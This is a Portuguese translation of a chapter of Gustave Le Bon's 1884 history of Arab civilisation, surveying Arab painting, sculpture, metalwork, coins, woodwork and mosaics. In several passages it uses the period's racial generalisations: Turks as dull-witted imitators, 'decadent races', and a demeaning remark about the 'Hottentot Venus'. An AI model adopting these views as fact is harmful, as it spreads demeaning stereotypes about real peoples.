AS ARTES ÁRABES, PINTURA, ESCULTURA, ARTES INDUSTRIAIS

Dr. Gustave Le Bon (Sorbonne)

A Civilização árabe (1884) – volume V

Capítulo VII

AS ARTES ÁRABES, PINTURA, ESCULTURA, ARTES INDUSTRIAIS

I

IMPORTÂNCIA DAS OBRAS DE ARTE NA RECONSTRUÇÃO DE UMA ÉPOCA

As profundas transformações que os progressos da análise científica tiveram em menos de um século no tocante à nossa maneira de conceber o mundo, haviam deixado de lado durante longo tempo os ramos superiores da poesia e das artes, levando a supor que por sua própria índole se subtrairiam sempre às investigações dos sábios. Com efeito, não era possível negar a existência de leis precisas na evolução dos astros, na transformação dos seres e na queda dos corpos; mas haveria outras leis além da inspiração ou o capricho na gênese de um poema, de um monumento ou de uma estátua? O artista que remontava às regiões do pensamento abstrato não seguia nenhuma lei, nem tinha nenhum mestre?

O encanto sedutor desta crença não impediu que se mudasse de modo de pensar no dia em que a ciência a analisou, pois suas investigações logo demonstraram que as obras de arte e de literatura exprimem simplesmente os sentimentos, crenças e necessidades de uma época, e o exprimem tão marcadamente que as melhores páginas da história são ao mesmo tempo as obras que cada idade deixou. O artista e o escritor

nada mais fazem que traduzir em formas visíveis os gostos, costumes, sentimentos e necessidades do povo que os rodeia, de modo que, embora eles pareçam livres, estão real e positivamente fechados numa rede de influências, crenças, idéias e trabalhos, cujo conjunto forma o que poderíamos chamar de alma de uma época, a qual influi com tanta eficácia sobre eles que mal lhes permite superá-la um pouco. Toda a obra de arte é a expressão material da idade em que nasceu, e por isso, se o Partenon representa as idéias e necessidades de um grego da idade de ouro, o Escurial traduz os sentimentos de um espa-nhal do século de Felipe II, e um prédio de sete andares a vida dos burgueses de hoje.

Todas as obras de arte, se as soubermos ler, nos dirão com certeza o que foi a época na qual surgiram. Cada idade tem sua arte e sua literatura, pois tem igualmente necessidades especiais que a arte e a literatura se limitam a satisfazer. A mesquita, sendo simultaneamente templo, escola, hospital e hospedaria, revela-nos a completa fusão da vida civil e religiosa entre os discípulos do Profeta. Um palácio árabe, como a Alhambra, com seu exterior sem decorar e seu interior brilhante e frágil, revela-nos a existência de um povo galantea dor, engenhoso e superficial, que apreciava a vida doméstica, não pensava no amanhã e deixava o futuro nas mãos de Deus. Com razão se tem dito, portanto, que nada está mais claramente escrito que o que se escreveu em pedra.

Contudo, nem só a pedra fala nas obras de arte, pois toda a obra plástica fala claramente àquele que a sabe compreender; e se os monumentos nos dão as indicações gerais, espécie de divisões de um livro ou sumários de seus capítulos, em troca as produções da arte de pormenor ajudam-nos a completá-las, e por isso nunca devemos desdenhar mesmo a de menor importância. Um jarro de água, um punhal, um móvel, e esses mil objetos em que a arte se esmerou ao mesmo tempo que a indústria, figuram entre os mais seguros documentos que podem utilizar os historiadores. Quando estes tiverem aprendido a tirar partido disso, não escreverão a história clássica como uma vulgar enumeração de batalhas, genealogias e intrigas diplomáticas, envoltas em apreciações infantis, que nem merecem a pena de examinar-se. Montanhas de livros desses poderiam ler-se sem adquirir a mais vaga noção do estado das épocas de que se ocupam.

As únicas produções da arte e da literatura que cumpre justamente desdenhar, por corresponderem apenas a necessidades fictícias de raças decadentes, são essas cópias servis de monumentos antiquados que se aplicam às necessidades modernas, por exemplo uma escola ou uma estação de estrada de ferro em estilo gótico. O castelo feudal não se compreende sem cavaleiros que o defendam, e colocar sua torre numa granja moderna é tão ridículo como o seria um pançudo burguês da nossa época passeando metido numa armadura semelhante à de Carlos V. Essa armadura, se parece imponente

colocada na estátua equestre do grande imperador, é-o porque ao vê-la nos recordamos da época das batalhas em que se tornou necessária; mas nos ombros de um fazendeiro ou de um jurisconsulto só nos inspiraria associações de idéias capazes de fazer rir. Toda a obra de arte que não esteja dentro da sua época, ou de seu meio, perde completamente o significado e deve ir para o museu. Sob o céu azulado da Grécia e dominando Atenas da Acrópolis, o Partenon é um dos mais belos templos que se possa imaginar; mas a cópia que dele vemos na praça da Madeleine de Paris é de uma frieza vulgar, e os altos prédios que a rodeiam tê-la-iam tornado grotesca se o aquiteto não houvesse exagerado as proporções do modelo.

Fig. 283 — Bocal em pedra de um poço árabe, em Córdova; segundo fotografia.

Fig. 283 — Bocal em pedra de um poço árabe, em Córdova; segundo fotografia.

 

Ocorre portanto com as obras de arte o mesmo que com as instituições: são expressão dos sentimentos, necessidades e crenças dos povos que as viram nascer; e quando esses sentimentos, necessidades e crenças se transformam, tanto as instituições com as artes devem transformar-se também. À falta de outros documentos, as obras de arte da Renascença, comparadas com as da Idade Média, bastariam para provar-nos que o mundo moderno se transformou profundamente. Bem poderá um povo obrigar outro a aceitar sua religião, língua, instituições e artes; um exame atento demonstra sempre que estes elementos novos sofrem inevitavelmente as transformações requeridas pelas necessidades do povo que os adotou. As instituições derivadas do islamismo não são na Pérsia o mesmo que na índia, no Egito ou na África, igualmente diferindo as artes. A arquitetura árabe, introduzida com o Corão na Índia, não demorou a transformar-se, adquirindo esse caráter de estabilidade e grandeza peculiar aos antigos monumentos de uma região tão vetusta.

Moedas do califa Omar.

Fig. 281 e 285

Moedas do califa Omar.

Sendo as artes a expressão das idéias e sentimentos de um povo, os fatores capazes de transformá-las são tão numerosos como os que influem nas sociedades; e como para estudar a eficácia de cada um seria necessário um trabalho de enorme importância, é impossível interná-lo neste livro. Semelhante estudo há-de iniciar-se ainda, e só depois de fazê-lo será possível compreender com facilidade a linguagem das obras de arte; as indicações que atualmente possuímos são demasiado gerais para nos ajudarem a interpretá-las de um modo continuamente seguro.

II

ORIGENS DAS ARTES DOS ÁRABES

Basta dar um relance de olhos a qualquer monumento correspondente a uma época adiantada da civilização árabe, palácio, mesquita, ou simplesmente qualquer objeto, seja um tinteiro, um punhal ou a encadernação de um Corão, para constatar serem essas obras de arte tão características que não nos podemos enganar sobre a sua procedência; os produtos da arte árabe, grandes e pequenos, não têm qualquer afinidade sensível com os de outros povos, sendo sua originalidade tão evidente quanto completa.

O mesmo não acontece se em vez de examinarmos os das épocas culminantes estudarmos os do princípio de sua civilização, os quais têm manifesto parentesco com as artes persas e bizantinas que os precederam.

Desse parentesco das produções primitivas das artes árabes com as de certos povos do Oriente, tiram muitos autores a conclusão de que o árabe careceu de arte original. É inegável que todos os povos, antes de chegarem a produzir obras pessoais, aproveitam o que encontraram feito, e como muito bem diz Pascal: "Toda a sucessão de homens que existiram no curso de tantos séculos pode ser considerada um mesmo homem que sempre subsiste e nunca deixa de aprender". Cada geração começa aproveitando os tesouros acumulados pelas anteriores, e, se é capaz, acrescenta-os depois.

Nenhum povo iludiu esta lei, e na verdade seria incompreensível que algum o conseguisse. Numa época ainda recente, como nos fossem completamente desconhecidas as origens da civilização grega, supunha-se que esta nada devia a outros povos; porém a ciência, ao avançar, provou que a arte grega teve suas origens na da Assíria e na do Egito, que por sua vez a tomaram de outros povos, e assim se a maior parte dos elos da cadeia que nos liga à origem do homem se não tivessem perdido, remontaríamos gradualmente às fuscas

idades da pedra lascada em que o homem escassamente se diferenciava dos animais que o precederam.

Árabes, gregos, romanos, fenícios, hebreus, etc., todos os povos enfim se aproveitaram do passado, e a não querermos condenar as gerações a recomeçarem o já feito, é impossível à humanidade proceder de outro modo. A principio cada pbvo toma alguma coisa dos que chegaram antes déle, não tardando a por sua vez acrescentar um pouco ao que recebeu. Os gregos conmeça-ram imitando os egípcios e assírios, e por meio de acréscimos transformaram os conhecimentos que nao haviam criado. Os romanos seguiram os gregos, porém sendo menos artistas que estes, pouco acrescentaram ao tesouro de que dispunham, limitando-se a imprimir às suas obras de arte aquela marca de majestosa grandeza que se diria um reflexo de seu imponente império; e quando transferiram sua capital para Constantinopla a arte modificou-se, em conseqüência de novos acrescentamentos destinados a relacioná-la com novas raças; a influência greco-romana juntou-se à oriental, de cujo concurso logo nasceu a arte especial que recebeu o nome de bizantina.

Quando os bárbaros se apoderaram do Ocidente, aproveitaram-se por sua vez dos elementos deixados pela civilização latina, embora impondo-lhes também modificações relacionadas com suas necessidades e crenças; e assim o estilo latino com retalhos bizantinos e bárbaros passou a ser no Ocidente estilo românico, o qual por meio de transformações graduais engendrou o gótico da Idade Média. No século XV os progressos, as riquezas e a instrução transformaram as idéias e os sentimentos, e a arte tornou a modificar-se; retrocedeu ao estilo da antiguidade greco-latina, e ao adaptá-lo às necessidades do meio social e geográfico apareceu a arquitetura da Renascença. Mas a arte continuou evoluindo, tornando-se pesada e majestosa no tempo de Luís XIV de França, amaneirada no de Luís XV e agora banal e igualitária.

Fig_ 286 Broche árabe (Síria); fotografia do autor.

Fig_ 286 — Broche árabe (Síria); fotografia do autor.

 

Fig. 287 — Adereço árabe em prata (Síria); fotografia do autor.

Fig. 287 — Adereço árabe em prata (Síria); fotografia do autor.

Nesta enumeração das grandes épocas da história da arquitetura, que se encadearam desde a antiguidade até aos nossos dias, coexiste sempre a influência do passado. Mas poder-se-ia concluir daí que nenhuma dessas épocas teve arte original? Ninguém se atreveria a sustentá-lo. Assim sendo, também não se pode dizer que os árabes careceram dela por terem tirado seus primeiros elementos das nações que os antecederam.

Fig. 288 — Mesa de centro árabe, em bronze com incrustações de pi fotografia do autor.

Fig. 288 — Mesa de centro árabe, em bronze com incrustações de pi fotografia do autor.

 

A verdadeira originalidade de um povo revela-se na rapidez com que êle transforma os materiais de que se utiliza, adaptando-os às suas necessidades e criando uma arte nova. Neste ponto nenhum povo superou o árabe, pois logo nos primeiros tempos dá provas de seu gênio inventivo, como se vê na mesquita de Córdova. Com efeito, não tardaram a sugerir aos artistas estrangeiros que empregavam, certas combinações novas de caráter muito engenhoso; em Córdova, por exemplo, vendo que as colunas de antigos templos eram demasiado curtas para que o teto alcançasse uma altura proporcionada à grande base do edifício, sobrepunham aquelas colunas entre si, e dissimulavam o edifício compondo combinações de arcadas de um gênero habilíssimo. Se puséssemos os turcos em lugar dos árabes, jamais se produziria tão peregrina ocorrência nessas cabeças duras.

Basta recorrer às gravuras da presente obra para reconhecer a originalidade e o mérito artístico das produções árabes, qualidades que surpreenderam os povos que as herdaram, e assim, desde a aparição desse povo no cenário do mundo todo o Oriente passou a imitá-lo, como o Ocidente imitou e imita ainda gregos e romanos.

Nessas imitações da arte árabe todos nós podemos ver a profunda diferença que separa a arte original da que não tem esse caráter, pois os povos que substituíram os árabes encontram-se, conforme os países, diante de elementos bizantinos, árabes, hindus, persas, etc, muito diferentes; e embora chegassem a sobrepô-los a todos e apesar de sua variedade, nunca foram capazes de tirar deles uma combinação nova. De um monumento mongol da índia sempre se pode dizer que tal parte é persa, a outra hindu e uma terceira árabe, o mesmo sucedendo com os monumentos erguidos pelos turcos, que se limitaram a sobrepor elementos sem jamais os combinar. Em troca os monumentos árabes, como por exemplo os palácios de Espanha e as mesquitas do Cairo, mostram-nos os elementos primitivos transformados em combinações tão novas que é impossível conjeturar de onde derivam.

Fig. 289 — Parte superior de mesa de centro em bronze incrustada de prata, do século XII, fotografada no Cairo pelo autor.

Fig. 289 Parte superior de mesa de centro em bronze incrustada de prata, do século XII, fotografada no Cairo pelo autor.

Pomos agora o dedo no que constitui o temperamento original de uma raça, a qual, possuindo-o, saberá imprimir sua marca própria nos elementos que o integram, seja qual fôr a sua qualidade. Tanto se pode fazer com arte e originalidade uma cavalariça como um par de botas. Mas embora se reconstrua dez vezes a mesquita de Santa Sofia, como fizeram os turcos em Constantinopla, acrescentando-lhe alguns motivos de ornamentação persa ou árabe, nem por isso fica menos evidente que ela carece de toda a originalidade artística.

III

IMPORTÂNCIA ESTÉTICA DAS ARTES ÁRABES

Depois de tratar das origens das artes árabes e de ter provado a sua destacada originalidade, é natural que examinemos sua importância estética, embora por falta de um critério fixo qualquer apreciação se reduza a um parecer individual que lhe tira muita autoridade. Indubitavelmente não podemos guiar-nos pela utilidade, isto é, pela perfeita adaptação da obra de arte ao seu objetivo, pois podem-se erguer casas e monumentos e fazer diversos objetos não menos úteis sem que seu mérito artístico seja igual.

Para determinar firmemente o grau de beleza ou fealdade de uma obra de arte conviria primeiro definir o que é belo e o que é feio, e como a experiência demonstra que o sentido de tais palavras muda conforme a raça, a educação, o meio, o momento e outros fatores, a única definição possível, por ser a única verdadeira em todos os tempos, em todas as raças e épocas, é a seguinte: o belo é aquilo que nos agrada, pois embora seja insuficiente, não se pode completá-lo sem entrar naquelas regiões inacessíveis das causas primeiras que a ciência ainda não logrou escalar. Um objeto agrada-nos porque está relacionado com certas condições da organização, variáveis de um para outro indivíduo, e de uma para outra raça, mas seria impossível dizer que condições são essas. A beleza ou a fealdade absoluta não existem na natureza, como não pode haver ruído ou silêncio, luz ou trevas também absolutas. Trata-se de criações da nossa mente, que a fisiologia moderna provou sem esforço serem puras ilusões. A beleza e a fealdade só apareceram no mundo no dia em que certas coisas e certas formas passaram a influir agradável ou desagradavelmente em nossos sentidos, e para tudo dizer, não passam de certas maneiras de ser do deleite ou da dor.

Fig. 290 — Antiga porta árabe do Cairo,fotograjada pelo autor.

Fig. 290 Antiga porta árabe do Cairo,fotograjada pelo autor.

 

Se os elementos de uma obra de arte têm certas relações determinadas entre si, afetam agradavelmente nossos sentidos, ao passo que se essas relações não estão realizadas, a falta de harmonia produz uma sensação algo próxima da dor. No primeiro caso dizemos que a obra é bela, e que é feia no segundo, mas ser-nos-ia impossível manifestar por que razão certas combinações produzem um efeito desagradável nos olhos ou nos ouvidos, enquanto outras causam o efeito contrário. No dia em que a ciência descobrir porque fulano prefere tal alimento que beltrano detesta, a estética terá dado um grande passo. Infelizmente esse dia ainda está longe.

O que facilmente nos ilude acerca da importância que as obras de arte parecem ter em si mesmas, dimana de ver em cada raça que a maioria dos indivíduos parecem convir no que respeita a certos distintivos da beleza, embora tal concordância apenas resulte da semelhança existente na organização deles próprios. Porém se nos dirigimos a outra raça, verificamos ser diferente a idéia que esta tem da beleza e da fealdade. Um bizantino preferia as formas estreitas e achatadas de suas virgens às formas vigorosas das deusas gregas; os bárbaros merovíngios consideravam seus toscos esboços de formas humanas muito mais belos que as criações da civilização greco-latina, e para um selvagem do Sul da África, essa para nós horrível monstruosidade a que deram o nome de Vénus hotentote, é um tipo de formosura tão perfeito como pode sê-lo para um europeu a Vénus de Médicis ou o Apolo de Belvedere.

As precedentes explicações nos encaminham, segundo se vê, para a definição que nos serviu de ponto de partida, ou seja que ó belo é aquilo que nos agrada; poderemos completá-la dizendo que o belo consiste no que, dada certa época, agrada à maioria dos indivíduos da mesma raça, mas não podemos dizer mais.

Por insuficiente que seja a nossa definição, ela basta para nos indicar imediatamente em que consiste a arte e quais devem ser nossas exigências com respeito ao artista. Se este procura seus modelos na natureza, pedimos-lhe que nos reproduza aquilo que nos agrada, exagerando-o no sentido que nos é simpático, e por exemplo não nos queixaremos de que o escultor cinzele uma mulher mais bela do que em geral se vê, pois justamente esse embelezamento da natureza, e não a cópia servil dela, constitui a arte. Sem dúvida alguma a Vénus de Milo é excessivamente formosa, pois a natureza não reúne tantas perfeições num único ser, mas nem por isso deixamos de admirá-la. Se o mesmo artista houvesse empregado as suas faculdades em representar-nos uma velha enrugada e nua, cumpria celebrar sua habilidade em vencer as dificuldades mas não apreciariamos a obra, e no caso de a apreciarmos, seria apenas seguindo as convenções da moda passageira.

Fig. 291 — Antiga almofada de madeira: com incrustações de marfim numa pcrta do Cairo (coleção Schefer); segundo fotografia do autor.

Fig. 291 — Antiga almofada de madeira: com incrustações de marfim numa pcrta do Cairo (coleção Schefer); segundo fotografia do autor.

 

Por outro lado essas convenções podem chegar a modificar até o gosto mais natural, sobretudo nos povos decadentes, e por isso vemos as pessoas que se intitulam realistas preferirem, ou pelo menos imaginar que preferem, uma realidade grosseira e repugnante à obra de arte representando um objeto sedutor. De realidades semelhantes encontra-se pejada a natureza, ao passo que não se pode dizer o mesmo dos objetos formosos, e se a arte consistisse em copiar servilmente a natureza, sem a interpretar, não existiria. Mesmo admitindo que houvesse verdadeira necessidade de multiplicar as cópias dos objetos desagradáveis, os processos mecânicos e fidelíssimos da fotografia bastariam, pois semelhantes coisas não requerem qualquer talento criador.

Basta percorrer as obras literárias e artísticas dos árabes para ver que eles sempre cuidaram de embelezar a natureza, sendo lícito dizer que o traço característico da arte árabe consiste na imaginação, no brilhantismo, no esplendor, na ornamentação exuberante e na fantasia nos mais insignifi-cates detalhes. Uma raça de poetas — e gostaria de saber quando um poeta não tem alguma coisa de artista, — uma raça de poetas que chegou a ser bastante rica para dar realidade a todos os seus sonhos, estava destinada a produzir esses palácios fantásticos que mais parecem rendas de mármore incrustadas de ouro e pedras preciosas. Nenhum povo possuirá semelhantes maravilhas, nem outro tornará a possuí-las, por corresponderem a um estado juvenil e ilusório que se vai desvanecendo para sempre. Pelo menos não podemos pedi-las a este período de vulgaridade utilitária e fria a que agora chegou a humanidade.

IV

AS ARTES ÁRABES

Entendem-se geralmente per belas artes a pintura, a escultura, a arquitetura e a música, e por artes industriais os produtos da aplicação das belas artes a certa categoria de obras de utilidade geral, reproduzidas por meio de processos mais ou menos mecânicos.

Fig. 292 — Almofada de uma porta de madeira da sala dos Embaixadores, no alcáçar de Sevilha. (Museu Espanhol de Antiguidades).

Fig. 292 — Almofada de uma porta de madeira da sala dos Embaixadores, no alcáçar de Sevilha. (Museu Espanhol de Antiguidades).

O valor da frase artes industriais presta-se naturalmente a discussões, mas como não me compete dirimir aqui essas contendas, limitar-me-ei a recordar que se incluem sob essa qualificação a cerâmica, a vidraria artística, o mosaico, a marcenaria, a marchetaria, a ourivesaria, etc.

No conceito da civilização o estudo dos produtos da arte industrial tem talvez tanta importância como o das belas artes propriamente ditas, podendo-se encontrar nos móveis mais insignificantes detalhes relativos à vida íntima de um povo e traços que ajudam a apreciar os conhecimentos artísticos, ou as necessidades dos que os inventaram ou utilizaram.

Tratando-se dos árabes, a arte está patente em todas as suas coisas: o selo de madeira de um padeiro, um balde de tirar água, uma vulgar faca de cozinha, têm entre eles um aspecto gracioso, revelando até que ponto se estendeu o gosto artístico, insinuando-se na própria camada dos artesãos mais humildes. A arte é independente de suas aplicações, podendo manifestar-se tanto na elaboração de um objeto raro e custoso como na de um objeto absolutamente comum.

Por falta de documentos suficientes, o estudo que neste capítulo vamos fazer das artes árabes será muito incompleto, pois ninguém antes diligenciou escrever a história de suas origens e transformações, apesar do interesse que apresenta.

As mais importantes obras de arte que os árabes nos legaram consistem em seus monumentos, os quais, sendo numerosos, nos permitirão no próximo capítulo esboçar a história da arquitetura árabe. Porém a reunião de materiais necessários para tracejar a história das outras artes que com tanto êxito cultivaram, reclamaria um acúmulo de investigações tão custosas que tivemos ‘de limitar muito nossos esforços, restringindo-nos em nossas viagens ao estudo dois monumentos. Por esse motivo fazemos neste capítulo apenas indicações gerais, sem demonstrar, como faremos na arquitetura, a série de transformações que se verificaram em cada uma daquelas artes, entre uma e outra época.

Pintura. — Admitiu-se geralmente que os muçulmanos convieram em abster-se de representar por meio de figuras a divindade e os seres viventes, e a verdade é que o Gorão, ou pelo menos seus comentaristas, põem essa ordem na boca do Profeta.

Fig. 293 — Mesa de madeira incrustada, do Cairo, segundo fotografia.

 

 

Contudo os muçulmanos só atenderam a essa prescrição muito tarde, tendo a princípio feito dela o mesmo caso que das proibições de jogar xadrez, beber em taças de ouro ou prata, e outras que também figuram nesse livro sagrado.

Os califas foram os primeiros a transgredir a proibição de representar seres vivos, e suas moedas provam que não vacilaram em mandar estampar nelas sua própria imagem.

As figuras contidas nas moedas, e as menos numerosas que também encontramos em vasos árabes, proporcionam-nos úteis indicações sobre a aptidão dos árabes para o desenho, mas sem nos revelarem o que valiam seus conhecimentos em matéria de colorido, de modo que acerca deste ponto precisamos ater-nos ao testemunho de seus historiadores, que nos informam ter havido muitas escolas de pintores árabes. O escrupuloso historiador Almakrisi chegou a compor uma biografia dos pintores muçulmanos, e refere que quando no ano 460 da hégira foi saqueado o palácio do califa Almustansir, se encontraram mil peças de tela nas quais estavam representados todos os califas árabes, juntamente com guerreiros e celebridades, e que as tapeçarias, feitas de tramas de ouro, seda e veludo, estavam cobertas de pinturas representando toda a sorte de homens e animais.

Os relatos de Almakrisi dão boa idéia dos pintores árabes do Cairo no século X da nossa era. O mesmo escritor fala de duas alméias, uma envolta em véus brancos e pintada sobre fundo negro, que parecia fundir-se na parede onde estava representada; outra, vestida de vermelho e pintada sobre fundo amarelo, parecia ao contrário vir ao encontro dos espectadores. Os pintores dessa época conheceriam provavelmente os recursos da perspectiva, a julgar pela descrição que o dito Almakrisi faz de uma escada pintada no interior de um palácio do Cairo, dando a exata impressão de ser verdadeira. Muitos manuscritos árabes, especialmente os que tratam de história natural, educação do cavalo, etc, contém

figuras; ainda existem vários manuscritos antigos das Sessões de Al-hariri que foram ilustrados por árabes, e Casiri descreve um manuscrito do século XII encontrado no Escurial, onde se viam umas quarenta figuras de reis árabes e persas, rainhas, grandes personagens, generais, etc, etc.

Fig. 294 — Mesa de centro árabe, em madeira, fotografada no Cairo.

Fig. 294 Mesa de centro árabe, em madeira, fotografada no Cairo.

Todos os visitantes da Alhambra sabem que no teto da sala do Tribunal há pinturas representando vários assuntos, como chefes árabes celebrando conselho, a luta vitoriosa de um cavaleiro mouro contra um cavaleiro cristão, etc., e embora haja discrepâncias quanto à origem dessas pinturas, Lavoix não vacila em atribuir aos árabes pelo menos uma parte delas; o certo é que, no nosso entender, quem as fêz pouco sabia de pintura.

Não é possível portanto, com tão escassos dados, julgar essa classe de artistas, e mais fácil será apreciar seu notável talento de desenhistas pelos animais e pessoas representados em seus manuscritos ou gravados em metal.

Os seres vivos representados nos desenhos árabes acham-se freqüentemente rodeados de inscrições e arabescos, sucedendo às vezes que até as próprias letras árabes são formadas-por combinações de animais e pessoas, colocados em posições caprichosas. A Biblioteca Nacional de Paris possui uma taça do século XIII em cujas bordas externas corre um friso, e que pela disposição das pessoas compõe uma lenda em caracteres árabes.

O mais conhecido jarrão árabe com personagens é o intitulado Batistério de São Luís, que se encontra no Louvre e serviu durante muito tempo para batizar os príncipes reais de França. Em outras épocas supunha-se que São Luís o trouxera de suas cruzadas, mas Longperier provou tratar-se de obra do século XIII, opinando que as flores de liz que nele dominam são um acréscimo feito nesse mesmo ou no século seguinte. Farei todavia observar que a flor de liz, ou pelo menos um emblema que muito se lhe assemelha figura constantemente entre os adornos dos monumentos árabes do Egito.

Desde certa época, que varia segundo os países, as figuras de seres animados desaparecem completamente das obras árabes; isso revela que tendo prevalecido o partido dos doutores da lei que desejavam se seguisse literalmente o Co-rão, foi necessário submeter-se às suas exigências.

Os povos que adotaram o islamismo, como os persas e mongóis, pouco se preocuparam com as proibições do Corão, que lhes não convinham, e desse modo na Pérsia se encontram muitas representações de seres animados, sendo bastante boas

as de flores é animais, embora pequem por fantásticas; as cios seres humanos são geralmente medíocres.

Escultura. — As esculturas dos árabes são tão escassas quanto seus quadros, e sucedendo o mesmo com a pintura temos de contentar-nos com as indicações achadas nas crônicas e com alguns restos insuficientes.

Fig. 295 — Sinete árabe, em madeira, de um padeiro.

Fig. 295 — Sinete árabe, em madeira, de um padeiro.

Aludimos em capítulo anterior àquele califa egípcio em cujo palácio se viam as estátuas de todas as mulheres, e as crônicas árabes de Espanha contêm relatos análogos, infor-mando-nos por exemplo que no famoso palácio de Abderraman havia várias estátuas, entre as quais figurava uma de sua amada.

Da estatuária árabe ficaram-nos apenas restos sem importância, como os leões fantásticos do pátio da Alhambra, um grifo de bronze existente no Cemitério de Piza, e um leão de bronze cuja boca servia de fonte e procede da coleção Fcrtuny, tudo pertencente mais à arte industrial do que à arte propriamente dita, por ter um fim utilitário. Com semelhantes dados é impossível julgar a verdadeira escultura árabe.

Trabalhos em metais e pedras preciosas. — Ourivesaria, joalheria, marchetaria e cinzeladura. — A arte de trabalhar os metais foi levada pelos árabes a alta perfeição, sendo tão grande em algumas obras que ainda hoje seria difícil igualá-la: seus jarros e armas eram cobertos de inscrustações de prata, esmaltes e pedras preciosas. Eles sabiam também lapidar as pedras finas, cobrindo-as de emblemas e inscrições, chegando até a fazer, com uma substância tão dura quanto o cristal de rocha, grandes peças cobertas de figuras e divisas cuja imitação seria hoje tão difícil quanto custosa, como por exemplo a taça para licores de cristal de rocha, do século X, existente no Louvre.

Os árabes demonstraram seu genio inventivo sobretudo nas incrustações de metais destinados à fabricação de armas, jarrões, bandejas, jarros para água e outros utensílios, processo que recebeu o nome de damasquinaría (arte de tauxiar, incrustar) tirado do nome da cidade onde especialmente se praticava. Com efeito, Damasco e Mossul eram antes os pontos mais importantes dessa fabricação; contudo, embora ela ainda subsista na primeira cidade, já decaiu muito, e tal decadência com certeza remonta à época em que, tendo-se

Timur apoderado de Damasco, levou consigo para Samarcanda e Korassão todos os artistas armeiros.

Os mais antigos trabalhos de damasquinaría datam quando muito de princípios do século X, e os mais numerosos procedem do século XII e XIII.

Fig. 296 — Cofre do sáculo XI estilo persa-árabe (Museu Espanhol de Antigüidades).

Fig. 296 — Cofre do sáculo XI estilo persa-árabe (Museu Espanhol de Antigüidades).

Tirarei de Lavoix a descrição dos processos empregados  no Oriente para a arte de incrustar, embora observando que o indicado por êle como empregado no Cairo o é apenas em Damasco, pois os artesãos do Cairo que sabem incrustar são atualmente muito escassos, e os artefatos de cobre que vi nos bazares dessa cidade procediam quase todos de Damasco.

"A damasquinaria exerce-se entre os orientais de diferentes modos. No processo por incrustação colocava-se um fio de ouro ou de prata em uma ranhura aberta no metal a buril e mais larga no fundo que na entrada; este fio assim introduzido destacava em relevo ou nivelava-se à vontade do artista, e, ou reproduzia uma delicada folha de ouro ou prata aplicada ao fundo de aço ou de latão, colhida entre duas linhas paralelas, cujos bordos levemente rebaixados lhe compunham uma espécie de moldura, ou o artista, armado de uma lima em forma de rodinha de espora, passava rapidamente a ferramenta pela obra que tinha de ornamentar, e então o fio de prata era colocado por meio de martelo em todas as partes do metal, preparado como já foi dito para o agarrar e reter. O embutido engastado encontra-se na maioria das obras que chegam de Damasco, e os artesãos do Cairo empregam ainda o segundo método, executando-o com maravilhosa habilidade. Todavia, este método de damasquinar corresponde especialmente aos artistas persas".

Praticamente, esse processo é o que hoje em dia se usa em Damasco; mas embora a execução seja rápida não oferece a menor solidez, de modo que é impossível limpar qualquer peça damasquinada sem fazer saltar as folhas incrustadas, ao passo que com os outros processos o metal incrustante forma um corpo único com o metal incrustado; não pode, portanto, haver comparação entre os produtos atuais de Damasco e os da época dos califas.

Moedas e medalhas. — O historiador Almakrisi revela-nos em seu tratado das moedas que o califa omíada Abdul-Malik foi o primeiro a cunhar moeda muçulmana, uma vez que os muçulmanos se tinham servido antes, até ao ano 76 da hégira (695 da nossa era), de peças de ouro e prata bizantinas ou de imitações delas, nas quais se limitavam a pôr alguma legenda árabe como "Glória a Deus. Alá é o único Deus", os nomes dos califas reinantes, etc, etc.

Os árabes tinham três espécies de moedas: o dinar, moeda de ouro valendo de 12 a 15 francos, o dirhem, moeda de prata valendo 60 cêntimos, e o danek, que era de cobre.

Reproduzimos nesta obra certo número de moedas árabes de Espanha, geralmente bonitas e tendo os caracteres muito bem gravados.

Trabalhos em madeira e marfim. — A arte de esculpir a madeira e de a incrustar de nácar e marfim alcançou entre os árabes uma perfeição maravilhosa, e só dispendendo grandes sornas lograríamos hoje imitar as portas admiráveis que ainda se vêem nas antigas mesquitas, os púlpitos incrustados e apainelados, os tetos lavrados e trabalhados e os muxarabiês entalhados como rendas.

No século XII esta arte alcançara já a perfeição, segundo provam diversas peças que nos restam dessa época, entre as quais o magnífico púlpito da mesquita de Al-akzá em Jerusalém.

Fig. 297 — Antigo cofre árabe de madeira incrustada, do Cairo, segundo fotografia.

Fig. 297 — Antigo cofre árabe de madeira incrustada, do Cairo, segundo fotografia.

Os árabes sabiam também esculpir o marfim com rara. perfeição, do que temos prova em muitos objetos notáveis, como a pequena arca de Santo Isidoro de Leão, cofrezinho de marfim trabalhado no século XI para um rei de Sevilha, o cofre da catedral de Bayeux, obra do século XII provavelmente trazida do Egito por ocasião das cruzadas. O cofre de Bayeux é guarnecido de adornos de prata dourada sobrepostos, e de enfeites repuxados e cinzelados, representando pássaros e especialmente pavões reais.

Acerca dos trabalhos em madeira, marfim e metal dos árabes, cumpre fazer uma observação geral que revela a habilidade dos operários orientais: os lavores mais delicados são feitos com ferramentas toscas e muito escassas, e embora seja impossível comparar as peças de ourivesaria e marchetaria hoje executadas no Cairo com as feitas no tempo dos califas, duvido que hoje se encontrem na Europa artesãos capazes de construir um tamborete incrustado, um narguilé damasquinado ou um bracelete burilado, utilizando os instrumentos primitivos que vi empregar no Oriente.

Mosaicos. — Os romanos conheceram o uso dos mosaicos, e os bizantinos copiaram-no, embora dando perfeição à arte de fabricá-los e dourando o fundo onde se colocavam as incrustações polícromas.

Não me pareceu que os árabes tivessem feito modificações importantes nessa arte, sendo verdade que logo preferiram as ornamentações de azulejos, cuja execução era muito mais simples.

Eles serviam-se de duas espécies de mosaicos: os que aplicavam nos pavimentos e no soco das paredes, compostos de lousas de mármore ou de ladrilhos de várias formas, esmaltados de diferentes cores, e os que empregavam para cobrir as paredes, especialmente os mihrabs; o trabalho destes era puramente bizantino.

